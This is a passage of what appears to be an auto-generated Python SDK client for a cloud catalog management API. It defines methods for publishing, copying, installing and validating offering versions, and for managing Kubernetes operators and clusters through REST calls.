headers=headers)
response = self.send(request)
return response
def public_publish_version(self,
version_loc_id: str,
**kwargs
) -> DetailedResponse:
"""
Publish the specified version so it is visible to all users in the public catalog.
Publish the specified version so it is visible to all users in the public catalog.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='public_publish_version')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/public-publish'.format(**path_param_dict)
request = self.prepare_request(method='POST',
url=url,
headers=headers)
response = self.send(request)
return response
def commit_version(self,
version_loc_id: str,
**kwargs
) -> DetailedResponse:
"""
Commit a working copy of the specified version.
Commit a working copy of the specified version.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='commit_version')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/commit'.format(**path_param_dict)
request = self.prepare_request(method='POST',
url=url,
headers=headers)
response = self.send(request)
return response
def copy_version(self,
version_loc_id: str,
*,
tags: List[str] = None,
target_kinds: List[str] = None,
content: List[int] = None,
**kwargs
) -> DetailedResponse:
"""
Copy the specified version to a new target kind within the same offering.
Copy the specified version to a new target kind within the same offering.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param List[str] tags: (optional) Tags array.
:param List[str] target_kinds: (optional) Target kinds. Current valid
values are 'iks', 'roks', 'vcenter', and 'terraform'.
:param List[int] content: (optional) byte array representing the content to
be imported. Only supported for OVA images at this time.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='copy_version')
headers.update(sdk_headers)
data = {
'tags': tags,
'target_kinds': target_kinds,
'content': content
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/copy'.format(**path_param_dict)
request = self.prepare_request(method='POST',
url=url,
headers=headers,
data=data)
response = self.send(request)
return response
def get_version_working_copy(self,
version_loc_id: str,
**kwargs
) -> DetailedResponse:
"""
Create a working copy of the specified version.
Create a working copy of the specified version.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Version` object
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_version_working_copy')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/workingcopy'.format(**path_param_dict)
request = self.prepare_request(method='POST',
url=url,
headers=headers)
response = self.send(request)
return response
def get_version_updates(self,
version_loc_id: str,
*,
cluster_id: str = None,
region: str = None,
resource_group_id: str = None,
namespace: str = None,
**kwargs
) -> DetailedResponse:
"""
Get available updates for the specified version.
Get available updates for the specified version.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param str cluster_id: (optional) The id of the cluster where this version
was installed.
:param str region: (optional) The region of the cluster where this version
was installed.
:param str resource_group_id: (optional) The resource group id of the
cluster where this version was installed.
:param str namespace: (optional) The namespace of the cluster where this
version was installed.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `List[VersionUpdateDescriptor]` result
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_version_updates')
headers.update(sdk_headers)
params = {
'cluster_id': cluster_id,
'region': region,
'resource_group_id': resource_group_id,
'namespace': namespace
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/updates'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def get_version(self,
version_loc_id: str,
**kwargs
) -> DetailedResponse:
"""
Get the Offering/Kind/Version 'branch' for the specified locator ID.
Get the Offering/Kind/Version 'branch' for the specified locator ID.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Offering` object
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_version')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers)
response = self.send(request)
return response
def delete_version(self,
version_loc_id: str,
**kwargs
) -> DetailedResponse:
"""
Delete a version.
Delete a the specified version. If the version is an active version with a
working copy, the working copy will be deleted as well.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='delete_version')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}'.format(**path_param_dict)
request = self.prepare_request(method='DELETE',
url=url,
headers=headers)
response = self.send(request)
return response
def list_versions(self,
q: str,
**kwargs
) -> DetailedResponse:
"""
Search for versions.
[deprecated] use /search/license/versions api instead. Search across all
accounts for versions, requires global admin permission.
:param str q: query, for now only \"q=entitlement_key:<some-key>\" is
supported.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if q is None:
raise ValueError('q must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='list_versions')
headers.update(sdk_headers)
params = {
'q': q
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/versions'
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
#########################
# Repo
#########################
def get_repos(self,
type: str,
repourl: str,
**kwargs
) -> DetailedResponse:
"""
List a repo's entries.
List the available entries from a given repo.
:param str type: The type of repo (valid repo types: helm).
:param str repourl: The URL for the repo's root (e.g
https://kubernetes-charts-incubator.storage.googleapis.com).
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `HelmRepoList` object
"""
if type is None:
raise ValueError('type must be provided')
if repourl is None:
raise ValueError('repourl must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_repos')
headers.update(sdk_headers)
params = {
'repourl': repourl
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['type']
path_param_values = self.encode_path_vars(type)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/repo/{type}/entries'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def get_repo(self,
type: str,
charturl: str,
**kwargs
) -> DetailedResponse:
"""
Get contents of a repo.
Get the contents of a given repo.
:param str type: The type of repo (valid repo types: helm).
:param str charturl: The URL for the repo's chart zip file (e.g
https://registry.bluemix.net/helm/ibm-charts/charts/ibm-redis-ha-dev-1.0.0.tgz).
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `HelmPackage` object
"""
if type is None:
raise ValueError('type must be provided')
if charturl is None:
raise ValueError('charturl must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_repo')
headers.update(sdk_headers)
params = {
'charturl': charturl
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['type']
path_param_values = self.encode_path_vars(type)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/repo/{type}'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
#########################
# Deploy
#########################
def list_clusters(self,
*,
limit: int = None,
offset: int = None,
type: str = None,
**kwargs
) -> DetailedResponse:
"""
List Kube clusters.
List Kube clusters.
:param int limit: (optional) number or results to return.
:param int offset: (optional) number of results to skip before returning
values.
:param str type: (optional) Kubernetes or OpenShift. Default is
kubernetes.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `ClusterSearchResult` object
"""
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='list_clusters')
headers.update(sdk_headers)
params = {
'limit': limit,
'offset': offset,
'type': type
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
url = '/deploy/kubernetes/clusters'
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def get_cluster(self,
cluster_id: str,
region: str,
x_auth_refresh_token: str,
**kwargs
) -> DetailedResponse:
"""
Get Kube cluster.
Get Kube cluster.
:param str cluster_id: ID of the cluster.
:param str region: Region of the cluster.
:param str x_auth_refresh_token: IAM Refresh token.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `ClusterInfo` object
"""
if cluster_id is None:
raise ValueError('cluster_id must be provided')
if region is None:
raise ValueError('region must be provided')
if x_auth_refresh_token is None:
raise ValueError('x_auth_refresh_token must be provided')
headers = {
'X-Auth-Refresh-Token': x_auth_refresh_token
}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_cluster')
headers.update(sdk_headers)
params = {
'region': region
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['cluster_id']
path_param_values = self.encode_path_vars(cluster_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/deploy/kubernetes/clusters/{cluster_id}'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def get_namespaces(self,
cluster_id: str,
region: str,
x_auth_refresh_token: str,
*,
limit: int = None,
offset: int = None,
**kwargs
) -> DetailedResponse:
"""
Get cluster namespaces.
Get cluster namespaces.
:param str cluster_id: ID of the cluster.
:param str region: Cluster region.
:param str x_auth_refresh_token: IAM Refresh token.
:param int limit: (optional) number or results to return.
:param int offset: (optional) number of results to skip before returning
values.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `NamespaceSearchResult` object
"""
if cluster_id is None:
raise ValueError('cluster_id must be provided')
if region is None:
raise ValueError('region must be provided')
if x_auth_refresh_token is None:
raise ValueError('x_auth_refresh_token must be provided')
headers = {
'X-Auth-Refresh-Token': x_auth_refresh_token
}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_namespaces')
headers.update(sdk_headers)
params = {
'region': region,
'limit': limit,
'offset': offset
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['cluster_id']
path_param_values = self.encode_path_vars(cluster_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/deploy/kubernetes/clusters/{cluster_id}/namespaces'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def create_operator(self,
x_auth_refresh_token: str,
*,
cluster_id: str = None,
region: str = None,
namespaces: List[str] = None,
all_namespaces: bool = None,
version_locator_id: str = None,
**kwargs
) -> DetailedResponse:
"""
Deploy Operator(s) on a Kube cluster.
Deploy Operator(s) on a Kube cluster.
:param str x_auth_refresh_token: IAM Refresh token.
:param str cluster_id: (optional) Cluster ID.
:param str region: (optional) Cluster region.
:param List[str] namespaces: (optional) Kube namespaces to deploy
Operator(s) to.
:param bool all_namespaces: (optional) Denotes whether to install
Operator(s) globally.
:param str version_locator_id: (optional) A dotted value of
`catalogID`.`versionID`.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `List[OperatorDeployResult]` result
"""
if x_auth_refresh_token is None:
raise ValueError('x_auth_refresh_token must be provided')
headers = {
'X-Auth-Refresh-Token': x_auth_refresh_token
}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='create_operator')
headers.update(sdk_headers)
data = {
'cluster_id': cluster_id,
'region': region,
'namespaces': namespaces,
'all_namespaces': all_namespaces,
'version_locator_id': version_locator_id
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
url = '/deploy/kubernetes/olm/operator'
request = self.prepare_request(method='POST',
url=url,
headers=headers,
data=data)
response = self.send(request)
return response
def list_operators(self,
x_auth_refresh_token: str,
cluster_id: str,
region: str,
version_locator_id: str,
**kwargs
) -> DetailedResponse:
"""
Get Operator(s) from a Kube cluster.
Get Operator(s) from a Kube cluster.
:param str x_auth_refresh_token: IAM Refresh token.
:param str cluster_id: Cluster identification.
:param str region: Cluster region.
:param str version_locator_id: A dotted value of `catalogID`.`versionID`.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `List[OperatorDeployResult]` result
"""
if x_auth_refresh_token is None:
raise ValueError('x_auth_refresh_token must be provided')
if cluster_id is None:
raise ValueError('cluster_id must be provided')
if region is None:
raise ValueError('region must be provided')
if version_locator_id is None:
raise ValueError('version_locator_id must be provided')
headers = {
'X-Auth-Refresh-Token': x_auth_refresh_token
}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='list_operators')
headers.update(sdk_headers)
params = {
'cluster_id': cluster_id,
'region': region,
'version_locator_id': version_locator_id
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
url = '/deploy/kubernetes/olm/operator'
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def replace_operator(self,
x_auth_refresh_token: str,
*,
cluster_id: str = None,
region: str = None,
namespaces: List[str] = None,
all_namespaces: bool = None,
version_locator_id: str = None,
**kwargs
) -> DetailedResponse:
"""
Update Operator(s) on a Kube cluster.
Update Operator(s) on a Kube cluster.
:param str x_auth_refresh_token: IAM Refresh token.
:param str cluster_id: (optional) Cluster ID.
:param str region: (optional) Cluster region.
:param List[str] namespaces: (optional) Kube namespaces to deploy
Operator(s) to.
:param bool all_namespaces: (optional) Denotes whether to install
Operator(s) globally.
:param str version_locator_id: (optional) A dotted value of
`catalogID`.`versionID`.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `List[OperatorDeployResult]` result
"""
if x_auth_refresh_token is None:
raise ValueError('x_auth_refresh_token must be provided')
headers = {
'X-Auth-Refresh-Token': x_auth_refresh_token
}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='replace_operator')
headers.update(sdk_headers)
data = {
'cluster_id': cluster_id,
'region': region,
'namespaces': namespaces,
'all_namespaces': all_namespaces,
'version_locator_id': version_locator_id
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
url = '/deploy/kubernetes/olm/operator'
request = self.prepare_request(method='PUT',
url=url,
headers=headers,
data=data)
response = self.send(request)
return response
def delete_operator(self,
x_auth_refresh_token: str,
cluster_id: str,
region: str,
version_locator_id: str,
**kwargs
) -> DetailedResponse:
"""
Delete Operator(s) from a Kube cluster.
Delete Operator(s) from a Kube cluster.
:param str x_auth_refresh_token: IAM Refresh token.
:param str cluster_id: Cluster identification.
:param str region: Cluster region.
:param str version_locator_id: A dotted value of `catalogID`.`versionID`.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if x_auth_refresh_token is None:
raise ValueError('x_auth_refresh_token must be provided')
if cluster_id is None:
raise ValueError('cluster_id must be provided')
if region is None:
raise ValueError('region must be provided')
if version_locator_id is None:
raise ValueError('version_locator_id must be provided')
headers = {
'X-Auth-Refresh-Token': x_auth_refresh_token
}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='delete_operator')
headers.update(sdk_headers)
params = {
'cluster_id': cluster_id,
'region': region,
'version_locator_id': version_locator_id
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/deploy/kubernetes/olm/operator'
request = self.prepare_request(method='DELETE',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def install_version(self,
version_loc_id: str,
x_auth_refresh_token: str,
*,
cluster_id: str = None,
region: str = None,
namespace: str = None,
override_values: object = None,
entitlement_apikey: str = None,
schematics: 'DeployRequestBodySchematics' = None,
script: str = None,
script_id: str = None,
version_locator_id: str = None,
vcenter_id: str = None,
vcenter_user: str = None,
vcenter_password: str = None,
vcenter_location: str = None,
vcenter_datastore: str = None,
**kwargs
) -> DetailedResponse:
"""
Create an install.
Create an install.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param str x_auth_refresh_token: IAM Refresh token.
:param str cluster_id: (optional) Cluster ID.
:param str region: (optional) Cluster region.
:param str namespace: (optional) Kube namespace.
:param object override_values: (optional) Object containing Helm chart
override values.
:param str entitlement_apikey: (optional) Entitlement API Key for this
offering.
:param DeployRequestBodySchematics schematics: (optional) Schematics
workspace configuration.
:param str script: (optional) Script.
:param str script_id: (optional) Script ID.
:param str version_locator_id: (optional) A dotted value of
`catalogID`.`versionID`.
:param str vcenter_id: (optional) VCenter ID.
:param str vcenter_user: (optional) VCenter User.
:param str vcenter_password: (optional) VCenter Password.
:param str vcenter_location: (optional) VCenter Location.
:param str vcenter_datastore: (optional) VCenter Datastore.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
if x_auth_refresh_token is None:
raise ValueError('x_auth_refresh_token must be provided')
if schematics is not None:
schematics = convert_model(schematics)
headers = {
'X-Auth-Refresh-Token': x_auth_refresh_token
}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='install_version')
headers.update(sdk_headers)
data = {
'cluster_id': cluster_id,
'region': region,
'namespace': namespace,
'override_values': override_values,
'entitlement_apikey': entitlement_apikey,
'schematics': schematics,
'script': script,
'script_id': script_id,
'version_locator_id': version_locator_id,
'vcenter_id': vcenter_id,
'vcenter_user': vcenter_user,
'vcenter_password': vcenter_password,
'vcenter_location': vcenter_location,
'vcenter_datastore': vcenter_datastore
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/install'.format(**path_param_dict)
request = self.prepare_request(method='POST',
url=url,
headers=headers,
data=data)
response = self.send(request)
return response
def preinstall_version(self,
version_loc_id: str,
x_auth_refresh_token: str,
*,
cluster_id: str = None,
region: str = None,
namespace: str = None,
override_values: object = None,
entitlement_apikey: str = None,
schematics: 'DeployRequestBodySchematics' = None,
script: str = None,
script_id: str = None,
version_locator_id: str = None,
vcenter_id: str = None,
vcenter_user: str = None,
vcenter_password: str = None,
vcenter_location: str = None,
vcenter_datastore: str = None,
**kwargs
) -> DetailedResponse:
"""
Create a preinstall.
Create a preinstall.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param str x_auth_refresh_token: IAM Refresh token.
:param str cluster_id: (optional) Cluster ID.
:param str region: (optional) Cluster region.
:param str namespace: (optional) Kube namespace.
:param object override_values: (optional) Object containing Helm chart
override values.
:param str entitlement_apikey: (optional) Entitlement API Key for this
offering.
:param DeployRequestBodySchematics schematics: (optional) Schematics
workspace configuration.
:param str script: (optional) Script.
:param str script_id: (optional) Script ID.
:param str version_locator_id: (optional) A dotted value of
`catalogID`.`versionID`.
:param str vcenter_id: (optional) VCenter ID.
:param str vcenter_user: (optional) VCenter User.
:param str vcenter_password: (optional) VCenter Password.
:param str vcenter_location: (optional) VCenter Location.
:param str vcenter_datastore: (optional) VCenter Datastore.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
if x_auth_refresh_token is None:
raise ValueError('x_auth_refresh_token must be provided')
if schematics is not None:
schematics = convert_model(schematics)
headers = {
'X-Auth-Refresh-Token': x_auth_refresh_token
}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='preinstall_version')
headers.update(sdk_headers)
data = {
'cluster_id': cluster_id,
'region': region,
'namespace': namespace,
'override_values': override_values,
'entitlement_apikey': entitlement_apikey,
'schematics': schematics,
'script': script,
'script_id': script_id,
'version_locator_id': version_locator_id,
'vcenter_id': vcenter_id,
'vcenter_user': vcenter_user,
'vcenter_password': vcenter_password,
'vcenter_location': vcenter_location,
'vcenter_datastore': vcenter_datastore
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/preinstall'.format(**path_param_dict)
request = self.prepare_request(method='POST',
url=url,
headers=headers,
data=data)
response = self.send(request)
return response
def get_preinstall(self,
version_loc_id: str,
x_auth_refresh_token: str,
*,
cluster_id: str = None,
region: str = None,
namespace: str = None,
**kwargs
) -> DetailedResponse:
"""
Get a preinstall.
Get a preinstall.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param str x_auth_refresh_token: IAM Refresh token.
:param str cluster_id: (optional) ID of the cluster.
:param str region: (optional) Cluster region.
:param str namespace: (optional) Required if the version's pre-install
scope is `namespace`.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `InstallStatus` object
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
if x_auth_refresh_token is None:
raise ValueError('x_auth_refresh_token must be provided')
headers = {
'X-Auth-Refresh-Token': x_auth_refresh_token
}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_preinstall')
headers.update(sdk_headers)
params = {
'cluster_id': cluster_id,
'region': region,
'namespace': namespace
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/preinstall'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def validation_install(self,
version_loc_id: str,
x_auth_refresh_token: str,
*,
cluster_id: str = None,
region: str = None,
namespace: str = None,
override_values: object = None,
entitlement_apikey: str = None,
schematics: 'DeployRequestBodySchematics' = None,
script: str = None,
script_id: str = None,
version_locator_id: str = None,
vcenter_id: str = None,
vcenter_user: str = None,
vcenter_password: str = None,
vcenter_location: str = None,
vcenter_datastore: str = None,
**kwargs
) -> DetailedResponse:
"""
Validate a offering.
Validate a offering.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param str x_auth_refresh_token: IAM Refresh token.
:param str cluster_id: (optional) Cluster ID.
:param str region: (optional) Cluster region.
:param str namespace: (optional) Kube namespace.
:param object override_values: (optional) Object containing Helm chart
override values.
:param str entitlement_apikey: (optional) Entitlement API Key for this
offering.
:param DeployRequestBodySchematics schematics: (optional) Schematics
workspace configuration.
:param str script: (optional) Script.
:param str script_id: (optional) Script ID.
:param str version_locator_id: (optional) A dotted value of
`catalogID`.`versionID`.
:param str vcenter_id: (optional) VCenter ID.
:param str vcenter_user: (optional) VCenter User.
:param str vcenter_password: (optional) VCenter Password.
:param str vcenter_location: (optional) VCenter Location.
:param str vcenter_datastore: (optional) VCenter Datastore.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
if x_auth_refresh_token is None:
raise ValueError('x_auth_refresh_token must be provided')
if schematics is not None:
schematics = convert_model(schematics)
headers = {
'X-Auth-Refresh-Token': x_auth_refresh_token
}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='validation_install')
headers.update(sdk_headers)
data = {
'cluster_id': cluster_id,
'region': region,
'namespace': namespace,
'override_values': override_values,
'entitlement_apikey': entitlement_apikey,
'schematics': schematics,
'script': script,
'script_id': script_id,
'version_locator_id': version_locator_id,
'vcenter_id': vcenter_id,
'vcenter_user': vcenter_user,
'vcenter_password': vcenter_password,
'vcenter_location': vcenter_location,
'vcenter_datastore': vcenter_datastore
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/validation/install'.format(**path_param_dict)
request = self.prepare_request(method='POST',
url=url,
headers=headers,
data=data)
response = self.send(request)
return response
def get_validation_status(self,
version_loc_id: str,
x_auth_refresh_token: str,
**kwargs
) -> DetailedResponse:
"""
Returns the install status for the specified offering version.
Returns the install status for the specified offering version.
:param str version_loc_id: A dotted value of `catalogID`.`versionID`.
:param str x_auth_refresh_token: IAM Refresh token.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Validation` object
"""
if version_loc_id is None:
raise ValueError('version_loc_id must be provided')
if x_auth_refresh_token is None:
raise ValueError('x_auth_refresh_token must be provided')
headers = {
'X-Auth-Refresh-Token': x_auth_refresh_token
}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_validation_status')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['version_loc_id']
path_param_values = self.encode_path_vars(version_loc_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/versions/{version_loc_id}/validation/install'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers)
response = self.send(request)
return response
def get_override_values(self,
version_loc_id: str,
**kwargs
) -> DetailedResponse:
"""
Returns the override values that were used to validate the specified offering version.
Returns the override values that were used to validate the specified offering
version.
